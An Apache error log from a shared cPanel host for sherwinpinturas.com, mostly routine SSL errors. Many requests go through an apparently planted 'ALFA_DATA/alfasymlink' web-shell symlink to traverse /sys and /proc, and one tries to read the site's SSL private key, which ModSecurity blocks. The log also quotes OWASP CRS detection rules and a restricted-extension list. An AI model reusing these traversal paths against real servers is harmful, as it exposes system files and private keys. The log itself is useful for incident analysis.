[Sat Oct 24 19:35:10.226169 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 100.25.120.246:25890] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:35:14.318526 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.226.106.93:39842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:35:14.318749 2026] [security2:error] [pid 2707162:tid 2707162] [client 3.226.106.93:39842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/subsystem/drivers/uhci_hcd/0000:00:01.2/usb1/product"] [unique_id "at1AsnxUk1Q9Uwuht9UD0wAAAAE"]
[Sat Oct 24 19:35:14.318786 2026] [security2:error] [pid 2707162:tid 2707162] [client 3.226.106.93:39842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/subsystem/drivers/uhci_hcd/0000:00:01.2/usb1/product"] [unique_id "at1AsnxUk1Q9Uwuht9UD0wAAAAE"]
[Sat Oct 24 19:35:18.243625 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 35.169.119.108:42306] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:35:26.596540 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 23.21.204.95:30273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:35:34.994244 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.209:16070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/partial
[Sat Oct 24 19:35:50.266229 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.82.40.168:43276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:36:02.215982 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.3.104.214:5711] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:36:10.344382 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.2.4.213:6148] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:36:18.225804 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.205.141.124:56148] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:36:22.373312 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.87.95.7:9054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:36:30.195226 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 35.169.119.108:18348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:36:34.185622 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.4.229.9:37122] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:36:38.225728 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.205.170.13:21276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:36:49.881387 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.209:25748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/remote_node_defrag_ratio
[Sat Oct 24 19:36:54.168158 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.217.82.254:62824] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:37:02.255291 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.206.212.24:2534] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:37:06.165232 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 3.216.13.10:18897] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/0000:00:02.0/graphics/fb0/device/driver/unbind
[Sat Oct 24 19:37:16.448562 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.12:39188] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/projeqtor/php81/import.php"] [unique_id "at1BLN3lMH_Ldre-PZttLQAAACk"]
[Sat Oct 24 19:37:16.448605 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.12:39188] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/projeqtor/php81/import.php"] [unique_id "at1BLN3lMH_Ldre-PZttLQAAACk"]
[Sat Oct 24 19:37:18.159122 2026] [ssl:error] [pid 2692979:tid 2692979] (22)Invalid argument: [client 100.28.118.16:18958] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:37:22.184347 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.224.132.215:24549] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:37:26.404960 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.235.81.246:33324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:37:28.228612 2026] [security2:error] [pid 2707162:tid 2707162] [client 43.157.181.189:47492] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at1BOHxUk1Q9Uwuht9UD1wAAAAE"]
[Sat Oct 24 19:37:28.229910 2026] [authz_core:error] [pid 2707162:tid 2707162] [client 43.157.181.189:47492] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:37:34.177037 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 98.83.177.42:37443] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:37:38.162452 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 35.173.38.202:57308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:37:58.202818 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.224.215.150:9080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:38:02.283898 2026] [security2:error] [pid 2693020:tid 2693020] [client 52.200.54.136:43211] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:05.0/driver/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/i2c-0/device/subsystem/"] [unique_id "at1BWjKiZtbKEGWJKoLUiwAAACE"]
[Sat Oct 24 19:38:02.283951 2026] [security2:error] [pid 2693020:tid 2693020] [client 52.200.54.136:43211] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:05.0/driver/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/i2c-0/device/subsystem/"] [unique_id "at1BWjKiZtbKEGWJKoLUiwAAACE"]
[Sat Oct 24 19:38:10.330742 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.224.9.144:39695] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:38:18.295744 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.173.18.61:6312] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:38:22.325968 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.156.55.147:42371] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:38:26.293852 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.93.98.99:33348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:38:34.273309 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.236.135.14:43371] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/shpchp/unbind
[Sat Oct 24 19:38:46.315852 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 3.223.181.32:49850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/module/drivers/pci:piix4_smbus/0000:00:01.3/i2c-0/device/remove
[Sat Oct 24 19:38:50.413562 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 34.194.14.255:6680] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:38:54.138369 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.213.213.161:47740] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:39:10.275368 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 98.83.10.183:13255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:39:14.267477 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 3.220.70.171:32386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ata_piix/unbind
[Sat Oct 24 19:39:26.218341 2026] [ssl:error] [pid 2724376:tid 2724376] (5)Input/output error: [client 18.211.39.188:65528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:39:37.196437 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.209:26086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/order
[Sat Oct 24 19:39:38.151978 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.231.77.232:27351] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:39:42.836069 2026] [security2:error] [pid 2693020:tid 2693020] [client 43.161.224.78:55016] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at1BvjKiZtbKEGWJKoLUlQAAACE"], referer: http://sherwinpinturas.com
[Sat Oct 24 19:39:42.848682 2026] [authz_core:error] [pid 2693020:tid 2693020] [client 43.161.224.78:55016] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sat Oct 24 19:39:46.393297 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 3.229.95.193:43312] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/i2c-0/device/driver/0000:00:01.3/rescan
[Sat Oct 24 19:39:54.171754 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.195.60.66:21665] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:40:06.322025 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 3.232.82.72:18918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/exar_serial/uevent
[Sat Oct 24 19:40:10.152121 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.202.233.37:18545] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:40:22.510995 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.211:58232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/sections/__verbose
[Sat Oct 24 19:40:34.333714 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 54.163.169.168:34191] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/device/physical_node/remove
[Sat Oct 24 19:40:38.141438 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.166.104.83:31807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:40:50.295384 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.231.193.38:23093] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:41:01.855327 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 185.191.171.16:55064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_dst_cache/objects_partial
[Sat Oct 24 19:41:11.261670 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.209:48706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/validate
[Sat Oct 24 19:41:21.958133 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.12:26472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/red_zone
[Sat Oct 24 19:41:22.147280 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 100.28.204.82:20597] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:41:26.181564 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 184.72.95.195:47301] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:41:30.139793 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.73.6.26:28975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:41:43.081921 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.225.199.17:36680] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:41:47.659157 2026] [core:crit] [pid 2692979:tid 2692979] (13)Permission denied: [client 167.94.146.53:18116] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:41:48.085870 2026] [authz_core:error] [pid 2693035:tid 2693035] [client 167.94.146.53:18132] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:41:48.348204 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 167.94.146.53:18142] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:41:50.172376 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.21.225.190:25335] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:41:54.146078 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.22.87.224:25053] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:41:58.174124 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 3.213.106.226:24049] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:41:59.080529 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 167.94.146.53:36094] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:42:06.424983 2026] [core:crit] [pid 2693035:tid 2693035] (13)Permission denied: [client 167.94.146.53:41566] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:42:10.281550 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.227.180.70:55330] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:42:18.275884 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 52.6.97.88:48596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:42:20.666225 2026] [security2:error] [pid 2684583:tid 2684583] [client 170.106.181.163:50460] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_baja-california_1.html"] [unique_id "at1CXD8oejtZfsaip1Yn0AAAABE"]
[Sat Oct 24 19:42:26.371065 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.197.76.210:59846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:42:30.143630 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.232.11.247:18205] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:42:32.028228 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.15:44438] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/f8d43_cbc51_65fc3e4522d5fcbedc48ca2011147932.key"] [unique_id "at1CaHxUk1Q9Uwuht9UD6QAAAAE"]
[Sat Oct 24 19:42:32.028619 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.15:44438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/f8d43_cbc51_65fc3e4522d5fcbedc48ca2011147932.key"] [unique_id "at1CaHxUk1Q9Uwuht9UD6QAAAAE"]
[Sat Oct 24 19:42:32.028963 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.15:44438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/f8d43_cbc51_65fc3e4522d5fcbedc48ca2011147932.key"] [unique_id "at1CaHxUk1Q9Uwuht9UD6QAAAAE"]
[Sat Oct 24 19:42:38.153735 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 34.224.9.144:20345] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:42:42.175081 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.22.87.224:62860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:42:50.743323 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.9:11456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cache_dma
[Sat Oct 24 19:43:11.595492 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.219.81.66:62847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:43:26.292715 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.7.13.143:25400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:43:30.159743 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 100.29.128.75:4632] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:43:32.775328 2026] [core:error] [pid 2724376:tid 2724376] (13)Permission denied: [client 185.191.171.15:64030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/sanity_checks
[Sat Oct 24 19:43:42.150384 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.239.197.197:52285] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:43:46.188959 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.220.2.97:15824] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:02.261007 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 44.206.93.215:46271] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:06.154209 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.2.58.41:35224] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:10.311065 2026] [security2:error] [pid 2684583:tid 2684583] [client 54.164.106.236:24875] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/"] [unique_id "at1Cyj8oejtZfsaip1Yn1AAAABE"]
[Sat Oct 24 19:44:10.311112 2026] [security2:error] [pid 2684583:tid 2684583] [client 54.164.106.236:24875] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/"] [unique_id "at1Cyj8oejtZfsaip1Yn1AAAABE"]
[Sat Oct 24 19:44:18.140541 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.234.200.207:4440] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:30.176203 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.213.70.100:43345] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:34.194641 2026] [core:error] [pid 2724376:tid 2724376] (13)Permission denied: [client 52.0.105.244:4981] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/device:0d/eject
[Sat Oct 24 19:44:38.188385 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.83.56.1:17614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:42.153533 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.235.239.240:11536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:50.270556 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.54.95.127:45622] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:54.272560 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.193.102.198:12463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:44:58.298007 2026] [ssl:error] [pid 2707162:tid 2707162] (5)Input/output error: [client 3.89.176.255:46214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:02.212848 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 3.220.148.166:51037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:06.284319 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.23.214.190:42518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:10.215902 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 52.54.157.23:1110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:18.287749 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.208.11.93:48244] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:21.987608 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.14:46174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/partial
[Sat Oct 24 19:45:26.151371 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 44.205.192.249:31431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:30.316523 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 184.73.167.217:60188] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:34.415400 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 3.209.174.110:8113] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:35.626622 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.196:54376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/shrink
[Sat Oct 24 19:45:38.149633 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.206.193.60:22429] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/exar_serial/uevent
[Sat Oct 24 19:45:46.162827 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 100.29.155.89:19260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:45:50.130536 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.203.68.145:52922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:46:06.258882 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 34.231.156.59:40792] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:46:14.143702 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.229.2.217:14480] AH02013: coalesce failed to read from data bucket
